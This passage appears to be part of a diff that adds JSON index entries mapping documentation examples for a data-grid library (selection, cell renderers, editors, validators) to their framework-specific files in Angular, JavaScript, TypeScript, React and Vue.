"file": "guides__cell-features__selection__react__example1.tsx.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/selection", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/javascript/example1.ts", + "file": "guides__cell-features__selection__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/selection", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/vue/example1.vue", + "file": "guides__cell-features__selection__vue__example1.vue.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/selection", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/angular/example2.ts", + "file": "guides__cell-features__selection__angular__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example2", + "exampleTitle": "Get data from the selected ranges", + "docPermalink": "/selection", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/javascript/example2.js", + "file": "guides__cell-features__selection__javascript__example2.js.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example2", + "exampleTitle": "Get data from the selected ranges", + "docPermalink": "/selection", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/react/example2.tsx", + "file": "guides__cell-features__selection__react__example2.tsx.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example2", + "exampleTitle": "Get data from the selected ranges", + "docPermalink": "/selection", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/javascript/example2.ts", + "file": "guides__cell-features__selection__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example2", + "exampleTitle": "Get data from the selected ranges", + "docPermalink": "/selection", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/vue/example2.vue", + "file": "guides__cell-features__selection__vue__example2.vue.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example2", + "exampleTitle": "Get data from the selected ranges", + "docPermalink": "/selection", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/angular/example3.ts", + "file": "guides__cell-features__selection__angular__example3.ts.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example3", + "exampleTitle": "Modify the selected cells", + "docPermalink": "/selection", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/javascript/example3.js", + "file": "guides__cell-features__selection__javascript__example3.js.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example3", + "exampleTitle": "Modify the selected cells", + "docPermalink": "/selection", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/react/example3.tsx", + "file": "guides__cell-features__selection__react__example3.tsx.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example3", + "exampleTitle": "Modify the selected cells", + "docPermalink": "/selection", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/javascript/example3.ts", + "file": "guides__cell-features__selection__javascript__example3.ts.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example3", + "exampleTitle": "Modify the selected cells", + "docPermalink": "/selection", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/vue/example3.vue", + "file": "guides__cell-features__selection__vue__example3.vue.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example3", + "exampleTitle": "Modify the selected cells", + "docPermalink": "/selection", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/angular/example4.ts", + "file": "guides__cell-features__selection__angular__example4.ts.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example4", + "exampleTitle": "Style the selection area", + "docPermalink": "/selection", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/javascript/example4.js", + "file": "guides__cell-features__selection__javascript__example4.js.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example4", + "exampleTitle": "Style the selection area", + "docPermalink": "/selection", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/react/example4.tsx", + "file": "guides__cell-features__selection__react__example4.tsx.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example4", + "exampleTitle": "Style the selection area", + "docPermalink": "/selection", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/javascript/example4.ts", + "file": "guides__cell-features__selection__javascript__example4.ts.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example4", + "exampleTitle": "Style the selection area", + "docPermalink": "/selection", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/vue/example4.vue", + "file": "guides__cell-features__selection__vue__example4.vue.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example4", + "exampleTitle": "Style the selection area", + "docPermalink": "/selection", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/angular/example5.ts", + "file": "guides__cell-features__selection__angular__example5.ts.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example5", + "exampleTitle": "Select cells programmatically", + "docPermalink": "/selection", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/javascript/example5.js", + "file": "guides__cell-features__selection__javascript__example5.js.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example5", + "exampleTitle": "Select cells programmatically", + "docPermalink": "/selection", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/react/example5.tsx", + "file": "guides__cell-features__selection__react__example5.tsx.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example5", + "exampleTitle": "Select cells programmatically", + "docPermalink": "/selection", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/javascript/example5.ts", + "file": "guides__cell-features__selection__javascript__example5.ts.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example5", + "exampleTitle": "Select cells programmatically", + "docPermalink": "/selection", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/selection/vue/example5.vue", + "file": "guides__cell-features__selection__vue__example5.vue.json", + "breadcrumb": [ + "Cell Features", + "Selection" + ], + "guide": "guides/cell-features/selection/selection.md", + "guideTitle": "Selection", + "exampleId": "example5", + "exampleTitle": "Select cells programmatically", + "docPermalink": "/selection", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/text-alignment/angular/example1.ts", + "file": "guides__cell-features__text-alignment__angular__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Text alignment" + ], + "guide": "guides/cell-features/text-alignment/text-alignment.md", + "guideTitle": "Text alignment", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/text-alignment", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/text-alignment/javascript/example1.js", + "file": "guides__cell-features__text-alignment__javascript__example1.js.json", + "breadcrumb": [ + "Cell Features", + "Text alignment" + ], + "guide": "guides/cell-features/text-alignment/text-alignment.md", + "guideTitle": "Text alignment", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/text-alignment", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/text-alignment/react/example1.tsx", + "file": "guides__cell-features__text-alignment__react__example1.tsx.json", + "breadcrumb": [ + "Cell Features", + "Text alignment" + ], + "guide": "guides/cell-features/text-alignment/text-alignment.md", + "guideTitle": "Text alignment", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/text-alignment", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/text-alignment/javascript/example1.ts", + "file": "guides__cell-features__text-alignment__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Features", + "Text alignment" + ], + "guide": "guides/cell-features/text-alignment/text-alignment.md", + "guideTitle": "Text alignment", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/text-alignment", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-features/text-alignment/vue/example1.vue", + "file": "guides__cell-features__text-alignment__vue__example1.vue.json", + "breadcrumb": [ + "Cell Features", + "Text alignment" + ], + "guide": "guides/cell-features/text-alignment/text-alignment.md", + "guideTitle": "Text alignment", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/text-alignment", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-editor/angular/example1.ts", + "file": "guides__cell-functions__cell-editor__angular__example1.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell editor" + ], + "guide": "guides/cell-functions/cell-editor/cell-editor.md", + "guideTitle": "Cell editor", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-editor", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-editor/javascript/example1.js", + "file": "guides__cell-functions__cell-editor__javascript__example1.js.json", + "breadcrumb": [ + "Cell Functions", + "Cell editor" + ], + "guide": "guides/cell-functions/cell-editor/cell-editor.md", + "guideTitle": "Cell editor", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-editor", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-editor/react/example1.tsx", + "file": "guides__cell-functions__cell-editor__react__example1.tsx.json", + "breadcrumb": [ + "Cell Functions", + "Cell editor" + ], + "guide": "guides/cell-functions/cell-editor/cell-editor.md", + "guideTitle": "Cell editor", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-editor", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-editor/javascript/example1.ts", + "file": "guides__cell-functions__cell-editor__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell editor" + ], + "guide": "guides/cell-functions/cell-editor/cell-editor.md", + "guideTitle": "Cell editor", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-editor", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-editor/vue/example1.vue", + "file": "guides__cell-functions__cell-editor__vue__example1.vue.json", + "breadcrumb": [ + "Cell Functions", + "Cell editor" + ], + "guide": "guides/cell-functions/cell-editor/cell-editor.md", + "guideTitle": "Cell editor", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-editor", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-editor/angular/example2.ts", + "file": "guides__cell-functions__cell-editor__angular__example2.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell editor" + ], + "guide": "guides/cell-functions/cell-editor/cell-editor.md", + "guideTitle": "Cell editor", + "exampleId": "example2", + "exampleTitle": "Class-based editors", + "docPermalink": "/cell-editor", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-editor/javascript/example2.js", + "file": "guides__cell-functions__cell-editor__javascript__example2.js.json", + "breadcrumb": [ + "Cell Functions", + "Cell editor" + ], + "guide": "guides/cell-functions/cell-editor/cell-editor.md", + "guideTitle": "Cell editor", + "exampleId": "example2", + "exampleTitle": "Class-based editors", + "docPermalink": "/cell-editor", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-editor/react/example2.tsx", + "file": "guides__cell-functions__cell-editor__react__example2.tsx.json", + "breadcrumb": [ + "Cell Functions", + "Cell editor" + ], + "guide": "guides/cell-functions/cell-editor/cell-editor.md", + "guideTitle": "Cell editor", + "exampleId": "example2", + "exampleTitle": "Class-based editors", + "docPermalink": "/cell-editor", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-editor/javascript/example2.ts", + "file": "guides__cell-functions__cell-editor__javascript__example2.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell editor" + ], + "guide": "guides/cell-functions/cell-editor/cell-editor.md", + "guideTitle": "Cell editor", + "exampleId": "example2", + "exampleTitle": "Class-based editors", + "docPermalink": "/cell-editor", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-editor/vue/example2.vue", + "file": "guides__cell-functions__cell-editor__vue__example2.vue.json", + "breadcrumb": [ + "Cell Functions", + "Cell editor" + ], + "guide": "guides/cell-functions/cell-editor/cell-editor.md", + "guideTitle": "Cell editor", + "exampleId": "example2", + "exampleTitle": "Class-based editors", + "docPermalink": "/cell-editor", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/angular/example1.ts", + "file": "guides__cell-functions__cell-renderer__angular__example1.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-renderer", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/react/example1.tsx", + "file": "guides__cell-functions__cell-renderer__react__example1.tsx.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-renderer", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/vue/example1.vue", + "file": "guides__cell-functions__cell-renderer__vue__example1.vue.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-renderer", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/angular/example2.ts", + "file": "guides__cell-functions__cell-renderer__angular__example2.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example2", + "exampleTitle": "Use the renderer component within React's Context", + "docPermalink": "/cell-renderer", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/react/example2.tsx", + "file": "guides__cell-functions__cell-renderer__react__example2.tsx.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example2", + "exampleTitle": "Use the renderer component within React's Context", + "docPermalink": "/cell-renderer", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/vue/example2.vue", + "file": "guides__cell-functions__cell-renderer__vue__example2.vue.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example2", + "exampleTitle": "Use the renderer component within React's Context", + "docPermalink": "/cell-renderer", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/angular/example3.ts", + "file": "guides__cell-functions__cell-renderer__angular__example3.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example3", + "exampleTitle": "Declare a custom renderer as a function", + "docPermalink": "/cell-renderer", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/react/example3.tsx", + "file": "guides__cell-functions__cell-renderer__react__example3.tsx.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example3", + "exampleTitle": "Declare a custom renderer as a function", + "docPermalink": "/cell-renderer", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/angular/example4.ts", + "file": "guides__cell-functions__cell-renderer__angular__example4.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example4", + "exampleTitle": "Declare a custom renderer as a function (2)", + "docPermalink": "/cell-renderer", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/javascript/example4.js", + "file": "guides__cell-functions__cell-renderer__javascript__example4.js.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example4", + "exampleTitle": "Declare a custom renderer as a function (2)", + "docPermalink": "/cell-renderer", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/react/example4.tsx", + "file": "guides__cell-functions__cell-renderer__react__example4.tsx.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example4", + "exampleTitle": "Declare a custom renderer as a function (2)", + "docPermalink": "/cell-renderer", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/javascript/example4.ts", + "file": "guides__cell-functions__cell-renderer__javascript__example4.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example4", + "exampleTitle": "Declare a custom renderer as a function (2)", + "docPermalink": "/cell-renderer", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/vue/example4.vue", + "file": "guides__cell-functions__cell-renderer__vue__example4.vue.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example4", + "exampleTitle": "Declare a custom renderer as a function (2)", + "docPermalink": "/cell-renderer", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/angular/example5.ts", + "file": "guides__cell-functions__cell-renderer__angular__example5.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example5", + "exampleTitle": "Render custom HTML in cells", + "docPermalink": "/cell-renderer", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/javascript/example5.js", + "file": "guides__cell-functions__cell-renderer__javascript__example5.js.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example5", + "exampleTitle": "Render custom HTML in cells", + "docPermalink": "/cell-renderer", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/react/example5.tsx", + "file": "guides__cell-functions__cell-renderer__react__example5.tsx.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example5", + "exampleTitle": "Render custom HTML in cells", + "docPermalink": "/cell-renderer", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/javascript/example5.ts", + "file": "guides__cell-functions__cell-renderer__javascript__example5.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example5", + "exampleTitle": "Render custom HTML in cells", + "docPermalink": "/cell-renderer", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/vue/example5.vue", + "file": "guides__cell-functions__cell-renderer__vue__example5.vue.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example5", + "exampleTitle": "Render custom HTML in cells", + "docPermalink": "/cell-renderer", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-renderer/angular/example6.ts", + "file": "guides__cell-functions__cell-renderer__angular__example6.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell renderer" + ], + "guide": "guides/cell-functions/cell-renderer/cell-renderer.md", + "guideTitle": "Cell renderer", + "exampleId": "example6", + "exampleTitle": "Render custom HTML in header", + "docPermalink": "/cell-renderer", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-validator/angular/example1.ts", + "file": "guides__cell-functions__cell-validator__angular__example1.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell validator" + ], + "guide": "guides/cell-functions/cell-validator/cell-validator.md", + "guideTitle": "Cell validator", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-validator", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-validator/javascript/example1.js", + "file": "guides__cell-functions__cell-validator__javascript__example1.js.json", + "breadcrumb": [ + "Cell Functions", + "Cell validator" + ], + "guide": "guides/cell-functions/cell-validator/cell-validator.md", + "guideTitle": "Cell validator", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-validator", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-validator/react/example1.tsx", + "file": "guides__cell-functions__cell-validator__react__example1.tsx.json", + "breadcrumb": [ + "Cell Functions", + "Cell validator" + ], + "guide": "guides/cell-functions/cell-validator/cell-validator.md", + "guideTitle": "Cell validator", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-validator", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-validator/javascript/example1.ts", + "file": "guides__cell-functions__cell-validator__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Functions", + "Cell validator" + ], + "guide": "guides/cell-functions/cell-validator/cell-validator.md", + "guideTitle": "Cell validator", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-validator", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-validator/vue/example1.vue", + "file": "guides__cell-functions__cell-validator__vue__example1.vue.json", + "breadcrumb": [ + "Cell Functions", + "Cell validator" + ], + "guide": "guides/cell-functions/cell-validator/cell-validator.md", + "guideTitle": "Cell validator", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-validator", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/custom-cells/vue/example1.vue", + "file": "guides__cell-functions__custom-cells__vue__example1.vue.json", + "breadcrumb": [ + "Cell Functions", + "Custom Cells" + ], + "guide": "guides/cell-functions/custom-cells/custom-cells.md", + "guideTitle": "Custom Cells", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/custom-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/custom-cells/vue/example2.vue", + "file": "guides__cell-functions__custom-cells__vue__example2.vue.json", + "breadcrumb": [ + "Cell Functions", + "Custom Cells" + ], + "guide": "guides/cell-functions/custom-cells/custom-cells.md", + "guideTitle": "Custom Cells", + "exampleId": "example2", + "exampleTitle": "Vue component renderer", + "docPermalink": "/custom-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/custom-cells/vue/example3.vue", + "file": "guides__cell-functions__custom-cells__vue__example3.vue.json", + "breadcrumb": [ + "Cell Functions", + "Custom Cells" + ], + "guide": "guides/cell-functions/custom-cells/custom-cells.md", + "guideTitle": "Custom Cells", + "exampleId": "example3", + "exampleTitle": "Custom editors", + "docPermalink": "/custom-cells", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-function/angular/example1.ts", + "file": "guides__cell-functions__cell-function__angular__example1.ts.json", + "breadcrumb": [ + "Cell Functions" + ], + "guide": "guides/cell-functions/cell-function/cell-function.md", + "guideTitle": "Cell functions", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-function", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-function/javascript/example1.js", + "file": "guides__cell-functions__cell-function__javascript__example1.js.json", + "breadcrumb": [ + "Cell Functions" + ], + "guide": "guides/cell-functions/cell-function/cell-function.md", + "guideTitle": "Cell functions", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-function", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-function/react/example1.tsx", + "file": "guides__cell-functions__cell-function__react__example1.tsx.json", + "breadcrumb": [ + "Cell Functions" + ], + "guide": "guides/cell-functions/cell-function/cell-function.md", + "guideTitle": "Cell functions", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-function", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-function/javascript/example1.ts", + "file": "guides__cell-functions__cell-function__javascript__example1.ts.json", + "breadcrumb": [ + "Cell Functions" + ], + "guide": "guides/cell-functions/cell-function/cell-function.md", + "guideTitle": "Cell functions", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-function", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/cell-functions/cell-function/vue/example1.vue", + "file": "guides__cell-functions__cell-function__vue__example1.vue.json", + "breadcrumb": [ + "Cell Functions" + ], + "guide": "guides/cell-functions/cell-function/cell-function.md", + "guideTitle": "Cell functions", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/cell-function", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": 